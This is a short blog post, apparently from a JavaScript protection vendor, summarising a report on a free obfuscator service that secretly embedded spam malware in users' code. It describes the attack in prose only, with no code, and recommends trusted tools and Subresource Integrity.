Sucuri.net’s blog post Why A Free Obfuscator Is Not Always Free presents a curious attack vector from an unexpected source; a free JavaScript obfuscator service.
This obfuscator embeds malicious code into the source code and obfuscates it afterwards to conceal both the source code and malicious payload. The unsuspecting victim has no idea that the obfuscated code includes malicious logic and deploys it into the Wild Wild Web. A few days later, spam starts to pop up in the Website and only after some time and pulling some hair out, the victim starts to connect the dots and question if the obfuscated code produced by the free obfuscator service isn’t doing something more than obfuscation.
We already knew that obfuscation is being used to make malicious code more stealthy to antivirus software — and very successfully I might add — but this is different. In this case, you’re obfuscating, packaging and delivering the malware yourself. The malware creator just sets his trap and goes for a drink. Luckily, the malware wasn’t doing something more stealthy like stealing user data or authentication credentials — so common in Man-in-the-Browser attacks. Anyway, after discovering that something was wrong, it wasn’t that hard to reverse engineer the obfuscated code and find the embedded malicious code.
So, how can we verify if the obfuscated code hides malicious logic? Well, you will have to analyse the obfuscated code and the environment where it is running. Another answer is — and a better one too —, don’t use free services from non-trustworthy sources at all, and the risk of an attack like this is reduced almost to zero. Obviously, if you’re willing to the take the risk, there’s always the possibility of reverse engineering the code before each deployment. However, this is not a desirable procedure and in fact, most people have no idea where to begin with, or even if someone has the know-how, the time that such a task could take, it would be better invested coding the next feature of the application. Moreover, for someone that cares about protecting its Intellectual Property and security overall, taking this kind of risk is never an option. So, at the end of the day, going with a professional, trustworthy product is surely the best choice if you’re looking to obfuscate your code without any hassle or harm of your reputation.
This might make you think of a “similar” trust issue that is also related with JavaScript source code and the use of third-party CDNs. How can someone trust that resources loaded from a third-party server contain only the expected logic? There’s a solution quite simple and elegant in the making called Subresource Integrity. You may read more about it on one of our recent blog posts Trust but verify – Subresource Integrity.
Image: free-sign-by-klabustra-on-flickr from Gustavo Martinez’s photostream on Flickr
